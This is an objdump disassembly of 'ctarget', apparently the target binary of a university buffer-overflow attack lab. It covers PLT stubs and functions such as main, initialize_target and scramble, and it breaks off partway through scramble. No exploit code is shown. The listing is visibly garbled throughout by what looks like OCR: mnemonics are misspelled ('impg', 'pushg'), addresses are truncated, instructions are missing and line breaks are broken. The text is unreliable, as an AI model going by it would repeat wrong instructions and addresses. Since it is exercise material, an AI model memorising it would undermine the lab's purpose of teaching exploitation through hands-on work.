ctarget: file format elf64-x86-64

Disassembly of section .init:

000000000400b70 <_init>:

400b70: 48 83 ec 08 sub \$0x8,%rsp

400b74: 48 8b 05 7d 34 20 00 mov 0x20347d(%rip), %rax # 603ff8 < __gmon_start__>

400b7b: 48 85 c0 test %rax,%rax 400b7e: 74 02 je 400b82 < init+0x12>

400b80: ff d0 callq *%rax

400b82: 48 83 c4 08 add \$0x8,%rsp

400b86: c3 retq

Disassembly of section .plt:

0000000000400b90 <.plt>:

400b90: ff 35 72 34 20 00 pushq 0x203472(%rip) # 604008

<_GLOBAL_OFFSET_TABLE_+0x8>

400b96: ff 25 74 34 20 00 jmpq *0x203474(%rip) # 604010

<_GLOBAL_OFFSET_TABLE_+0x10>

400b9c: 0f 1f 40 00 nopl 0x0(%rax)

000000000400ba0 < errno location@plt>:

400ba0: ff 25 72 34 20 00 impg *0x203472(%rip) # 604018

<__errno_location@GLIBC_2.2.5>

400ba6: 68 00 00 00 00 pushq \$0x0

400bab: e9 e0 ff ff ff jmpq 400b90 <.plt>

000000000400bb0 <srandom@plt>:

400bb0: ff 25 6a 34 20 00 jmpq *0x20346a(%rip) # 604020 <srandom@GLIBC_2.2.5>

400bb6: 68 01 00 00 00 pushg \$0x1

400bbb: e9 d0 ff ff ff jmpq 400b90 <.plt>

000000000400bc0 <strncmp@plt>:

400bc0: ff 25 62 34 20 00 jmpg *0x203462(%rip) # 604028 <strncmp@GLIBC_2.2.5>

400bc6: 68 02 00 00 00 pushq \$0x2

400bcb: e9 c0 ff ff ff jmpq 400b90 <.plt>

0000000000400bd0 <strcpy@plt>:

400bd0: ff 25 5a 34 20 00 jmpq *0x20345a(%rip) # 604030 <strcpy@GLIBC_2.2.5>

400bd6: 68 03 00 00 00 pushq \$0x3

400bdb: e9 b0 ff ff ff jmpq 400b90 <.plt>

0000000000400be0 <puts@plt>:

400be0: ff 25 52 34 20 00 jmpq *0x203452(%rip) # 604038 <puts@GLIBC_2.2.5>

400be6: 68 04 00 00 00 pushq \$0x4

400beb: e9 a0 ff ff ff jmpq 400b90 <.plt>

0000000000400bf0 <write@plt>:

400bf0: ff 25 4a 34 20 00 jmpq *0x20344a(%rip) # 604040 <write@GLIBC_2.2.5>

400bf6: 68 05 00 00 00 pushq \$0x5

400bfb: e9 90 ff ff ff jmpq 400b90 <.plt>

000000000400c00 <mmap@plt>:

400c00: ff 25 42 34 20 00 jmpq *0x203442(%rip) # 604048 <mmap@GLIBC_2.2.5>

400c06: 68 06 00 00 00 pushq \$0x6

400c0b: e9 80 ff ff ff jmpq 400b90 <.plt>

0000000000400c10 <memset@plt>:

400c10: ff 25 3a 34 20 00 jmpg *0x20343a(%rip) # 604050 <memset@GLIBC 2.2.5>

400c16: 68 07 00 00 00 pushq \$0x7

400c1b: e9 70 ff ff ff jmpq 400b90 <.plt>

000000000400c20 <alarm@plt>:

400c20: ff 25 32 34 20 00 jmpq *0x203432(%rip) # 604058 <alarm@GLIBC_2.2.5>

400c26: 68 08 00 00 00 pushq \$0x8

400c2b: e9 60 ff ff ff jmpq 400b90 <.plt>

000000000400c30 <close@plt>:

400c30: ff 25 2a 34 20 00 jmpq *0x20342a(%rip) # 604060 <close@GLIBC_2.2.5>

400c36: 68 09 00 00 00 pushq \$0x9

400c3b: e9 50 ff ff ff jmpq 400b90 <.plt>

0000000000400c40 <read@plt>:

400c40: ff 25 22 34 20 00 jmpg *0x203422(%rip) # 604068 <read@GLIBC 2.2.5>

400c46: 68 0a 00 00 00 pushq \$0xa

400c4b: e9 40 ff ff ff jmpq 400b90 <.plt>

000000000400c50 <signal@plt>:

400c50: ff 25 1a 34 20 00 jmpg *0x20341a(%rip) # 604070 <signal@GLIBC 2.2.5>

400c56: 68 0b 00 00 00 pushq \$0xb

400c5b: e9 30 ff ff ff jmpq 400b90 <.plt>

000000000400c60 <gethostbyname@plt>:

400c60: ff 25 12 34 20 00 jmpq *0x203412(%rip) # 604078

<qethostbyname@GLIBC 2.2.5>

400c66: 68 0c 00 00 00 pushq \$0xc

400c6b: e9 20 ff ff ff jmpq 400b90 <.plt>

000000000400c70 < __memmove_chk@plt>:

400c70: ff 25 0a 34 20 00 jmpq *0x20340a(%rip) # 604080

<__memmove_chk@GLIBC_2.3.4>

400c76: 68 0d 00 00 00 pushq \$0xd

400c7b: e9 10 ff ff ff jmpq 400b90 <.plt>

000000000400c80 <strtol@plt>:

400c80: ff 25 02 34 20 00 jmpq *0x203402(%rip) # 604088 <strtol@GLIBC_2.2.5>

400c86: 68 0e 00 00 00 pushq \$0xe

400c8b: e9 00 ff ff ff jmpq 400b90 <.plt>

0000000000400c90 <memcpy@plt>:

400c90: ff 25 fa 33 20 00 jmpq *0x2033fa(%rip) # 604090 <memcpy@GLIBC_2.14>

400c96: 68 0f 00 00 00 pushq \$0xf

400c9b: e9 f0 fe ff ff jmpq 400b90 <.plt>

0000000000400ca0 <time@plt>:

400ca0: ff 25 f2 33 20 00 jmpq *0x2033f2(%rip) # 604098 <time@GLIBC_2.2.5>

400ca6: 68 10 00 00 00 pushq \$0x10

400cab: e9 e0 fe ff ff jmpq 400b90 <.plt>

000000000400cb0 <random@plt>:

400cb0: ff 25 ea 33 20 00 jmpq *0x2033ea(%rip) # 6040a0 <random@GLIBC_2.2.5>

400cb6: 68 11 00 00 00 pushq \$0x11

400cbb: e9 d0 fe ff ff impg 400b90 <.plt>

000000000400cc0 <_IO_getc@plt>:

400cc0: ff 25 e2 33 20 00 jmpq *0x2033e2(%rip) # 6040a8 <_IO_getc@GLIBC_2.2.5>

400cc6: 68 12 00 00 00 pushq \$0x12

400ccb: e9 c0 fe ff ff jmpq 400b90 <.plt>

000000000400cd0 <__isoc99_sscanf@plt>:

400cd0: ff 25 da 33 20 00 jmpq *0x2033da(%rip) # 6040b0

<__isoc99_sscanf@GLIBC_2.7>

400cd6: 68 13 00 00 00 pushq \$0x13

400cdb: e9 b0 fe ff ff | impq 400b90 <.plt>

000000000400ce0 <munmap@plt>:

400ce0: ff 25 d2 33 20 00 jmpg *0x2033d2(%rip) # 6040b8 <munmap@GLIBC 2.2.5>

400ce6: 68 14 00 00 00 pushg \$0x14

400ceb: e9 a0 fe ff ff jmpq 400b90 <.plt>

000000000400cf0 < printf chk@plt>:

400cf0: ff 25 ca 33 20 00 jmpq *0x2033ca(%rip) # 6040c0 <__printf_chk@GLIBC_2.3.4>

400cf6: 68 15 00 00 00 pushq \$0x15

400cfb: e9 90 fe ff ff jmpq 400b90 <.plt>

0000000000400d00 <fopen@plt>:

400d00: ff 25 c2 33 20 00 jmpg *0x2033c2(%rip) # 6040c8 <fopen@GLIBC 2.2.5>

400d06: 68 16 00 00 00 pushq \$0x16

400d0b: e9 80 fe ff ff jmpq 400b90 <.plt>

0000000000400d10 <getopt@plt>:

400d10: ff 25 ba 33 20 00 impg *0x2033ba(%rip) # 6040d0 <qetopt@GLIBC 2.2.5>

400d16: 68 17 00 00 00 pushg \$0x17

400d1b: e9 70 fe ff ff jmpq 400b90 <.plt>

0000000000400d20 <strtoul@plt>:

400d20: ff 25 b2 33 20 00 jmpq *0x2033b2(%rip) # 6040d8 <strtoul@GLIBC_2.2.5>

400d26: 68 18 00 00 00 pushq \$0x18

400d2b: e9 60 fe ff ff jmpq 400b90 <.plt>

0000000000400d30 <exit@plt>:

400d36: 68 19 00 00 00 pushq \$0x19

```
400d3b: e9 50 fe ff ff
                            jmpq 400b90 <.plt>
0000000000400d40 <connect@plt>:
                                  *0x2033a2(%rip)
400d40: ff 25 a2 33 20 00
                                                      # 6040e8 <connect@GLIBC 2.2.5>
                            impa
400d46: 68 1a 00 00 00
                            pushq $0x1a
400d4b: e9 40 fe ff ff
                            jmpq 400b90 <.plt>
000000000400d50 < __fprintf_chk@plt>:
                            jmpg *0x20339a(%rip)
400d50: ff 25 9a 33 20 00
                                                      # 6040f0 < fprintf chk@GLIBC 2.3.4>
400d56: 68 1b 00 00 00
                            pusha $0x1b
400d5b: e9 30 fe ff ff
                            impg 400b90 <.plt>
000000000400d60 < sprintf chk@plt>:
400d60: ff 25 92 33 20 00
                            jmpq *0x203392(%rip)
                                                      # 6040f8 < sprintf chk@GLIBC 2.3.4>
400d66: 68 1c 00 00 00
                            pushq $0x1c
400d6b: e9 20 fe ff ff
                            jmpq 400b90 <.plt>
0000000000400d70 < socket@plt>:
400d70: ff 25 8a 33 20 00
                            jmpg *0x20338a(%rip)
                                                     # 604100 <socket@GLIBC 2.2.5>
400d76: 68 1d 00 00 00
                            pushq $0x1d
400d7b: e9 10 fe ff ff
                            impg 400b90 <.plt>
Disassembly of section .text:
0000000000400d80 < start>:
400d80: 31 ed
                            %ebp,%ebp
                       xor
400d82: 49 89 d1
                            mov
                                  %rdx,%r9
400d85: 5e
                       pop
                            %rsi
400d86: 48 89 e2
                                  %rsp,%rdx
                            mov
400d89: 48 83 e4 f0
                                 $0xffffffffff0,%rsp
                            and
                       push %rax
400d8d: 50
400d8e: 54
                       push %rsp
400d8f: 49 c7 c0 40 2b 40 00
                                mov
                                       $0x402b40,%r8
400d96: 48 c7 c1 d0 2a 40 00
                                       $0x402ad0.%rcx
                                mov
400d9d: 48 c7 c7 ae 0f 40 00
                                mov $0x400fae,%rdi
                            callq *0x203246(%rip)
400da4: ff 15 46 32 20 00
                                                     # 603ff0
<__libc_start_main@GLIBC_2.2.5>
400daa: f4
                       hlt
400dab: 0f 1f 44 00 00
                            nopl 0x0(%rax,%rax,1)
000000000400db0 < dl relocate static pie>:
400db0: f3 c3
                       repz reta
400db2: 66 2e 0f 1f 84 00 00 nopw %cs:0x0(%rax,%rax,1)
400db9: 00 00 00
400dbc: 0f 1f 40 00
                            nopl 0x0(%rax)
000000000400dc0 <deregister_tm_clones>:
400dc0: 55
                       push %rbp
400dc1: b8 98 44 60 00
                                  $0x604498,%eax
                            mov
400dc6: 48 3d 98 44 60 00
                                  $0x604498.%rax
                           cmp
400dcc: 48 89 e5
                                  %rsp,%rbp
                            mov
```

400de8 <deregister_tm_clones+0x28>

400dcf: 74 17

ie

```
400dd1: b8 00 00 00 00
                           mov $0x0,%eax
400dd6: 48 85 c0
                           test %rax,%rax
400dd9: 74 0d
                      je 400de8 < deregister tm clones+0x28>
400ddb: 5d
                      gdr% gog
400ddc: bf 98 44 60 00
                           mov $0x604498,%edi
400de1: ff e0
                      jmpq *%rax
400de3: 0f 1f 44 00 00
                           nopl 0x0(\%rax,\%rax,1)
400de8: 5d
                      pop %rbp
400de9: c3
                      retq
400dea: 66 0f 1f 44 00 00
                           nopw 0x0(%rax,%rax,1)
000000000400df0 < register tm clones>:
400df0: be 98 44 60 00
                           mov $0x604498,%esi
400df5: 55
                       push %rbp
400df6: 48 81 ee 98 44 60 00
                                sub $0x604498,%rsi
400dfd: 48 89 e5
                                 %rsp,%rbp
                           mov
400e00: 48 c1 fe 03
                           sar $0x3,%rsi
400e04: 48 89 f0
                           mov %rsi.%rax
400e07: 48 c1 e8 3f
                           shr $0x3f,%rax
400e0b: 48 01 c6
                           add %rax,%rsi
400e0e: 48 d1 fe
                           sar
                                %rsi
400e11: 74 15
                           400e28 < register tm clones+0x38>
                      je
400e13: b8 00 00 00 00
                           mov $0x0,%eax
400e18: 48 85 c0
                           test %rax,%rax
400e1b: 74 0b
                           400e28 <register_tm_clones+0x38>
                      je
400e1d: 5d
                      pop %rbp
400e1e: bf 98 44 60 00
                           mov $0x604498,%edi
400e23: ff e0
                      impg *%rax
400e25: 0f 1f 00
                      nopl (%rax)
400e28: 5d
                            %rbp
                      pop
400e29: c3
                      retq
400e2a: 66 0f 1f 44 00 00
                           nopw 0x0(\%rax,\%rax,1)
000000000400e30 < do global dtors aux>:
400e30: 80 3d 91 36 20 00 00
                                cmpb $0x0,0x203691(%rip)
                                                              # 6044c8 < completed. 7698>
400e37: 75 17
                      jne 400e50 <__do_global_dtors_aux+0x20>
400e39: 55
                      push %rbp
400e3a: 48 89 e5
                           mov %rsp,%rbp
                           callq 400dc0 <deregister_tm_clones>
400e3d: e8 7e ff ff ff
400e42: c6 05 7f 36 20 00 01
                                movb $0x1,0x20367f(%rip)
                                                             # 6044c8 < completed. 7698>
400e49: 5d
                      qoq
                            %rbp
400e4a: c3
                      reta
400e4b: 0f 1f 44 00 00
                           nopl 0x0(\%rax,\%rax,1)
400e50: f3 c3
                      repz retq
400e52: 0f 1f 40 00
                           nopl 0x0(%rax)
400e56: 66 2e 0f 1f 84 00 00 nopw %cs:0x0(%rax,%rax,1)
400e5d: 00 00 00
0000000000400e60 <frame dummy>:
                      push %rbp
400e60: 55
400e61: 48 89 e5
                           mov %rsp,%rbp
400e64: 5d
                      pop %rbp
```

```
0000000000400e67 <usage>:
400e67: 48 83 ec 08
                                  $0x8.%rsp
                            sub
400e6b: 48 89 fa
                            mov
                                  %rdi.%rdx
400e6e: 83 3d 93 36 20 00 00
                                 cmpl $0x0,0x203693(%rip)
                                                               # 604508 <is_checker>
400e75: 74 3c
                            400eb3 <usage+0x4c>
400e77: be 58 2b 40 00
                                  $0x402b58,%esi
                            mov
                                  $0x1,%edi
400e7c: bf 01 00 00 00
                            mov
400e81: b8 00 00 00 00
                                  $0x0.%eax
                            mov
                            callg 400cf0 < printf chk@plt>
400e86: e8 65 fe ff ff
400e8b: bf 80 2b 40 00
                            mov
                                  $0x402b80,%edi
400e90: e8 4b fd ff ff
                            callq 400be0 <puts@plt>
400e95: bf f2 2b 40 00
                                  $0x402bf2,%edi
                            mov
400e9a: e8 41 fd ff ff
                            callq 400be0 <puts@plt>
                                  $0x402c0c, %edi
400e9f: bf 0c 2c 40 00
                            mov
400ea4: e8 37 fd ff ff
                            callq 400be0 <puts@plt>
400ea9: bf 00 00 00 00
                                  $0x0.%edi
                            mov
400eae: e8 7d fe ff ff
                            callq 400d30 <exit@plt>
400eb3: be 28 2c 40 00
                                  $0x402c28,%esi
                            mov
400eb8: bf 01 00 00 00
                            mov
                                  $0x1,%edi
400ebd: b8 00 00 00 00
                                  $0x0,%eax
                            mov
400ec2: e8 29 fe ff ff
                            callq 400cf0 < printf chk@plt>
400ec7: bf a8 2b 40 00
                                  $0x402ba8,%edi
                            mov
400ecc: e8 0f fd ff ff
                            callq 400be0 <puts@plt>
400ed1: bf 45 2c 40 00
                                 $0x402c45.%edi
                            mov
                            callq 400be0 <puts@plt>
400ed6: e8 05 fd ff ff
                            400ea9 <usage+0x42>
400edb: eb cc
                       jmp
000000000400edd <initialize target>:
400edd: 55
                       push
                             %rbp
400ede: 53
                             %rbx
                       push
400edf: 48 81 ec 08 20 00 00
                                      $0x2008,%rsp
                                 sub
400ee6: 89 f5
                              %esi.%ebp
                       mov
400ee8: 89 3d 0a 36 20 00
                                  %edi,0x20360a(%rip)
                                                           # 6044f8 <check level>
                            mov
400eee: 8b 3d 54 32 20 00
                                  0x203254(%rip),%edi
                                                           # 604148 <target_id>
                            mov
400ef4: e8 b2 1b 00 00
                            callq 402aab <gencookie>
400ef9: 89 05 05 36 20 00
                                  %eax,0x203605(%rip)
                                                           # 604504 < cookie>
                            mov
400eff: 89 c7
                       mov
                              %eax,%edi
400f01: e8 a5 1b 00 00
                            callq 402aab <gencookie>
400f06: 89 05 f4 35 20 00
                                  %eax,0x2035f4(%rip)
                                                           # 604500 <authkey>
                            mov
400f0c: 8b 05 36 32 20 00
                                  0x203236(%rip), %eax
                                                           # 604148 <target id>
                            mov
                            lea 0x1(%rax),%edi
400f12: 8d 78 01
400f15: e8 96 fc ff ff
                            callq 400bb0 <srandom@plt>
400f1a: e8 91 fd ff ff
                            callq 400cb0 <random@plt>
400f1f: 89 c7
                       mov
                             %eax,%edi
400f21: e8 24 02 00 00
                            callq 40114a <scramble>
                             %eax,%ebx
400f26: 89 c3
                       mov
                       test %ebp,%ebp
400f28: 85 ed
400f2a: 75 3d
                           400f69 <initialize target+0x8c>
                       jne
400f2c: b8 00 00 00 00
                            mov $0x0,%eax
400f31: 01 d8
                       add
                            %ebx,%eax
```

```
400f33: 0f b7 c0
                            movzwl %ax,%eax
400f36: 8d 04 c5 00 01 00 00
                                 lea 0x100(,%rax,8),%eax
400f3d: 89 c0
                       mov
                             %eax.%eax
400f3f: 48 89 05 4a 35 20 00
                                 mov
                                       %rax.0x20354a(%rip)
                                                               # 604490 <buf offset>
400f46: c6 05 db 41 20 00 63
                                 movb $0x63,0x2041db(%rip)
                                                                 # 605128 <target prefix>
400f4d: 83 3d 34 35 20 00 00
                                 cmpl $0x0,0x203534(%rip)
                                                               # 604488 <notify>
                            400f5f <initialize_target+0x82>
400f54: 74 09
                       je
400f56: 83 3d ab 35 20 00 00
                                 cmpl $0x0,0x2035ab(%rip)
                                                               # 604508 <is checker>
                            400f81 <initialize target+0xa4>
400f5d: 74 22
                       įе
400f5f: 48 81 c4 08 20 00 00
                                 add
                                      $0x2008,%rsp
400f66: 5b
                             %rbx
                       qoq
400f67: 5d
                             %rbp
                       qoq
400f68: c3
                       retq
400f69: bf 00 00 00 00
                            mov $0x0,%edi
400f6e: e8 2d fd ff ff
                            callq 400ca0 <time@plt>
400f73: 89 c7
                       mov %eax,%edi
400f75: e8 36 fc ff ff
                            callq 400bb0 <srandom@plt>
400f7a: e8 31 fd ff ff
                            calla 400cb0 <random@plt>
400f7f: eb b0
                            jmp
                                 400f31 <initialize target+0x54>
400f81: 48 89 e7
                                 %rsp,%rdi
                            mov
400f84: e8 a0 18 00 00
                            callq 402829 <init driver>
400f89: 85 c0
                       test %eax,%eax
400f8b: 79 d2
                       ins 400f5f <initialize target+0x82>
400f8d: 48 89 e2
                                  %rsp,%rdx
                            mov
400f90: be d0 2b 40 00
                            mov
                                  $0x402bd0,%esi
400f95: bf 01 00 00 00
                                  $0x1,%edi
                            mov
400f9a: b8 00 00 00 00
                            mov
                                  $0x0,%eax
400f9f: e8 4c fd ff ff
                            callq 400cf0 <__printf_chk@plt>
400fa4: bf 08 00 00 00
                            mov
                                  $0x8.%edi
400fa9: e8 82 fd ff ff
                            callq 400d30 <exit@plt>
0000000000400fae <main>:
400fae: 41 55
                       push %r13
400fb0: 41 54
                       push %r12
400fb2: 55
                       push %rbp
400fb3: 53
                       push %rbx
400fb4: 48 83 ec 08
                            sub
                                 $0x8,%rsp
400fb8: 41 89 fc
                                  %edi,%r12d
                            mov
400fbb: 48 89 f3
                            mov
                                  %rsi.%rbx
400fbe: be da 1b 40 00
                                  $0x401bda,%esi
                            mov
                                  $0xb,%edi
400fc3: bf 0b 00 00 00
                            mov
400fc8: e8 83 fc ff ff
                            callq 400c50 < signal@plt>
400fcd: be 8c 1b 40 00
                                  $0x401b8c,%esi
                            mov
400fd2: bf 07 00 00 00
                                  $0x7.%edi
                            mov
400fd7: e8 74 fc ff ff
                            callq 400c50 <signal@plt>
400fdc: be 28 1c 40 00
                            mov
                                  $0x401c28,%esi
400fe1: bf 04 00 00 00
                                  $0x4,%edi
                            mov
400fe6: e8 65 fc ff ff
                            callq 400c50 <signal@plt>
400feb: 83 3d 16 35 20 00 00
                                 cmpl $0x0,0x203516(%rip)
                                                               # 604508 <is checker>
400ff2: 75 1e
                            401012 <main+0x64>
                       ine
400ff4: bd 5e 2c 40 00
                            mov $0x402c5e,%ebp
400ff9: 48 8b 05 a0 34 20 00
                                 mov 0x2034a0(%rip),%rax
                                                               # 6044a0
```

```
<stdin@@GLIBC 2.2.5>
401000: 48 89 05 e9 34 20 00
                                mov %rax,0x2034e9(%rip)
                                                              # 6044f0 <infile>
401007: 41 bd 00 00 00 00
                           mov
                                  $0x0.%r13d
40100d: e9 82 00 00 00
                            impg 401094 <main+0xe6>
401012: be 76 1c 40 00
                            mov
                                 $0x401c76.%esi
401017: bf 0e 00 00 00
                                  $0xe,%edi
                            mov
40101c: e8 2f fc ff ff
                            callq 400c50 <signal@plt>
401021: bf 05 00 00 00
                                 $0x5.%edi
                            mov
401026: e8 f5 fb ff ff
                            callq 400c20 <alarm@plt>
40102b: bd 63 2c 40 00
                            mov $0x402c63.%ebp
401030: eb c7
                            400ff9 <main+0x4b>
                       imp
401032: 48 8b 3b
                            mov
                                 (%rbx),%rdi
401035: e8 2d fe ff ff
                            callq 400e67 <usage>
40103a: be 0c 2f 40 00
                            mov $0x402f0c, %esi
                                mov 0x203462(%rip),%rdi
40103f: 48 8b 3d 62 34 20 00
                                                              # 6044a8
<optarg@@GLIBC 2.2.5>
401046: e8 b5 fc ff ff
                            callq 400d00 <fopen@plt>
40104b: 48 89 05 9e 34 20 00
                                mov %rax,0x20349e(%rip)
                                                               # 6044f0 <infile>
401052: 48 85 c0
                           test %rax.%rax
401055: 75 3d
                            401094 <main+0xe6>
                       ine
401057: 48 8b 0d 4a 34 20 00
                                mov 0x20344a(%rip),%rcx
                                                               # 6044a8
<optarg@@GLIBC 2.2.5>
40105e: ba 6b 2c 40 00
                                 $0x402c6b,%edx
                            mov
401063: be 01 00 00 00
                                 $0x1,%esi
                            mov
                                mov 0x203451(%rip),%rdi
401068: 48 8b 3d 51 34 20 00
                                                              #6044c0
<stderr@@GLIBC 2.2.5>
                            callg 400d50 < fprintf chk@plt>
40106f: e8 dc fc ff ff
401074: b8 01 00 00 00
                            mov
                                 $0x1.%eax
401079: e9 c1 00 00 00
                           impg 40113f <main+0x191>
40107e: ba 10 00 00 00
                                  $0x10,%edx
                           mov
401083: be 00 00 00 00
                            mov
                                  $0x0,%esi
401088: 48 8b 3d 19 34 20 00
                                mov 0x203419(%rip),%rdi
                                                              # 6044a8
<optarg@@GLIBC 2.2.5>
40108f: e8 8c fc ff ff
                            calla 400d20 <strtoul@plt>
401094: 48 89 ea
                            mov
                                  %rbp,%rdx
401097: 48 89 de
                                  %rbx,%rsi
                            mov
                                  %r12d,%edi
40109a: 44 89 e7
                            mov
40109d: e8 6e fc ff ff
                            callq 400d10 < getopt@plt>
4010a2: 3c ff
                       cmp
                             $0xff.%al
4010a4: 74 57
                           4010fd <main+0x14f>
                            movsbl %al,%edx
4010a6: 0f be d0
4010a9: 83 e8 61
                           sub $0x61,%eax
4010ac: 3c 10
                       cmp $0x10,%al
4010ae: 77 31
                           4010e1 <main+0x133>
4010b0: 0f b6 c0
                            movzbl %al,%eax
4010b3: ff 24 c5 b0 2c 40 00 jmpq *0x402cb0(,%rax,8)
4010ba: ba 0a 00 00 00
                                  $0xa,%edx
                            mov
4010bf: be 00 00 00 00
                            mov
                                  $0x0,%esi
4010c4: 48 8b 3d dd 33 20 00
                                mov 0x2033dd(%rip),%rdi
                                                              # 6044a8
<optarg@@GLIBC 2.2.5>
                           callq 400c80 <strtol@plt>
4010cb: e8 b0 fb ff ff
4010d0: 41 89 c5
                            mov
                                  %eax,%r13d
```

```
4010d3: eb bf
                       imp
                             401094 <main+0xe6>
4010d5: c7 05 a9 33 20 00 00
                                movl $0x0,0x2033a9(%rip)
                                                               # 604488 < notify>
4010dc: 00 00 00
4010df: eb b3
                                 401094 <main+0xe6>
                            ami
4010e1: be 88 2c 40 00
                            mov
                                  $0x402c88.%esi
4010e6: bf 01 00 00 00
                                  $0x1,%edi
                            mov
4010eb: b8 00 00 00 00
                                  $0x0,%eax
                            mov
4010f0: e8 fb fb ff ff
                            callq 400cf0 < printf chk@plt>
4010f5: 48 8b 3b
                                 (%rbx),%rdi
                            mov
4010f8: e8 6a fd ff ff
                            calla 400e67 <usage>
4010fd: c7 05 81 33 20 00 00
                                movl $0x0,0x203381(%rip)
                                                               # 604488 < notify>
401104: 00 00 00
401107: be 00 00 00 00
                            mov
                                  $0x0.%esi
40110c: 44 89 ef
                                  %r13d,%edi
                            mov
40110f: e8 c9 fd ff ff
                            callq 400edd <initialize target>
401114: 8b 15 ea 33 20 00
                                  0x2033ea(%rip), %edx
                                                           # 604504 < cookie>
                            mov
40111a: be 9b 2c 40 00
                                  $0x402c9b,%esi
                            mov
40111f: bf 01 00 00 00
                                  $0x1.%edi
                            mov
401124: b8 00 00 00 00
                                  $0x0.%eax
                            mov
401129: e8 c2 fb ff ff
                            callq 400cf0 < printf chk@plt>
40112e: 48 8b 3d 5b 33 20 00
                                mov 0x20335b(%rip),%rdi
                                                               # 604490 <buf offset>
401135: e8 17 0c 00 00
                            callg 401d51 <stable launch>
                                 $0x0,%eax
40113a: b8 00 00 00 00
                            mov
40113f: 48 83 c4 08
                            add $0x8,%rsp
401143: 5b
                             %rbx
                       pop
401144: 5d
                             %rbp
                       qoq
401145: 41 5c
                             %r12
                       pop
401147: 41 5d
                             %r13
                       pop
401149: c3
                       reta
000000000040114a <scramble>:
40114a: b8 00 00 00 00
                                  $0x0,%eax
                            mov
40114f: eb 11
                             401162 <scramble+0x18>
                       jmp
                            imul $0xe022.%eax.%edx
401151: 69 d0 22 e0 00 00
401157: 01 fa
                             %edi.%edx
                       add
401159: 89 c1
                             %eax,%ecx
                       mov
40115b: 89 54 8c d0
                            mov
                                  %edx,-0x30(%rsp,%rcx,4)
40115f: 83 c0 01
                                  $0x1,%eax
                            add
401162: 83 f8 09
                            cmp
                                  $0x9,%eax
401165: 76 ea
                            401151 <scramble+0x7>
401167: 8b 44 24 f0
                                  -0x10(%rsp),%eax
                            mov
40116b: 69 c0 6f 23 00 00
                                 $0x236f,%eax,%eax
                            imul
401171: 89 44 24 f0
                                  %eax,-0x10(%rsp)
                            mov
401175: 8b 44 24 d8
                                  -0x28(%rsp),%eax
                            mov
401179: 69 c0 ba 0e 00 00
                            imul
                                 $0xeba,%eax,%eax
40117f: 89 44 24 d8
                            mov
                                  %eax,-0x28(%rsp)
401183: 8b 44 24 e4
                                  -0x1c(%rsp),%eax
                            mov
401187: 69 c0 c0 8a 00 00
                            imul $0x8ac0,%eax,%eax
40118d: 89 44 24 e4
                                  %eax,-0x1c(%rsp)
                            mov
401191: 8b 44 24 e4
                                  -0x1c(%rsp),%eax
                            mov
                                 $0x8602,%eax,%eax
401195: 69 c0 02 86 00 00
                            imul
40119b: 89 44 24 e4
                            mov
                                  %eax,-0x1c(%rsp)
```

101101 01 11 01 10		0.00(0)
40119f: 8b 44 24 d8	mov	-0x28(%rsp),%eax
4011a3: 69 c0 bf 90 00 00	imul	\$0x90bf,%eax,%eax
4011a9: 89 44 24 d8	mov	%eax,-0x28(%rsp)
4011ad: 8b 44 24 d0	mov	-0x30(%rsp),%eax
4011b1: 69 c0 7c 09 00 00	imul	\$0x97c,%eax,%eax
4011b7: 89 44 24 d0	mov	%eax,-0x30(%rsp)
4011bb: 8b 44 24 d4	mov	-0x2c(%rsp),%eax
4011bf: 69 c0 6a 61 00 00	imul	\$0x616a,%eax,%eax
4011c5: 89 44 24 d4	mov	%eax,-0x2c(%rsp)
4011c9: 8b 44 24 e4	mov	-0x1c(%rsp),%eax
4011cd: 69 c0 57 6c 00 00	imul	\$0x6c57,%eax,%eax
4011d3: 89 44 24 e4	mov	%eax,-0x1c(%rsp)
4011d7: 8b 44 24 d0	mov	-0x30(%rsp),%eax
4011db: 69 c0 de c7 00 00	imul	\$0xc7de,%eax,%eax
4011e1: 89 44 24 d0	mov	%eax,-0x30(%rsp)
4011e5: 8b 44 24 f4	mov	-0xc(%rsp),%eax
4011e9: 69 c0 b9 e3 00 00	imul	\$0xe3b9,%eax,%eax
4011ef: 89 44 24 f4	mov	%eax,-0xc(%rsp)
4011f3: 8b 44 24 f4	mov	-0xc(%rsp),%eax
4011f7: 69 c0 f3 f0 00 00	imul	\$0xf0f3,%eax,%eax
4011fd: 89 44 24 f4	mov	%eax,-0xc(%rsp)
401201: 8b 44 24 d4	mov	-0x2c(%rsp),%eax
401205: 69 c0 58 f0 00 00	imul	\$0xf058,%eax,%eax
40120b: 89 44 24 d4	mov	%eax,-0x2c(%rsp)
40120f: 8b 44 24 d4	mov	-0x2c(%rsp),%eax
401213: 69 c0 dc 25 00 00	imul	\$0x25dc,%eax,%eax
401219: 89 44 24 d4	mov	%eax,-0x2c(%rsp)
40121d: 8b 44 24 d4	mov	-0x2c(%rsp),%eax
401221: 69 c0 81 67 00 00	imul	\$0x6781,%eax,%eax
401227: 89 44 24 d4	mov	%eax,-0x2c(%rsp)
40122b: 8b 44 24 dc	mov	-0x24(%rsp),%eax
40122f: 69 c0 7f a7 00 00	imul	\$0xa77f,%eax,%eax
401235: 89 44 24 dc	mov	%eax,-0x24(%rsp)
401239: 8b 44 24 d0	mov	-0x30(%rsp),%eax
40123d: 69 c0 91 7e 00 00	imul	\$0x7e91,%eax,%eax
401243: 89 44 24 d0	mov	%eax,-0x30(%rsp)
401247: 8b 44 24 e0	mov	-0x20(%rsp),%eax
40124b: 69 c0 c8 16 00 00	imul	\$0x16c8,%eax,%eax
401251: 89 44 24 e0 401255: 8b 44 24 f0	mov	%eax,-0x20(%rsp)
	mov	-0x10(%rsp),%eax
	imul	\$0x278e,%eax,%eax
	mov	%eax,-0x10(%rsp)
401263: 8b 44 24 e8	mov	-0x18(%rsp),%eax
401267: 69 c0 d7 b1 00 00 40126d: 89 44 24 e8	imul	\$0xb1d7,%eax,%eax
401271: 8b 44 24 f4	mov	%eax,-0x18(%rsp)
	mov imul	-0xc(%rsp),%eax
		\$0xd585,%eax,%eax
40127b: 89 44 24 f4 40127f: 8b 44 24 dc	mov	%eax,-0xc(%rsp)
401283: 69 c0 60 33 00 00	mov	-0x24(%rsp),%eax \$0x3360,%eax,%eax
401289: 89 44 24 dc	imul	
40128d: 8b 44 24 dc 40128d: 8b 44 24 e8	mov	%eax,-0x24(%rsp)
40120U. OD 44 24 80	mov	-0x18(%rsp),%eax

401291: 69 c0 fb 91 00 00	imul	\$0x91fb,%eax,%eax
401297: 89 44 24 e8	mov	%eax,-0x18(%rsp)
40129b: 8b 44 24 d8	mov	-0x28(%rsp),%eax
40129f: 69 c0 cd 76 00 00	imul	\$0x76cd,%eax,%eax
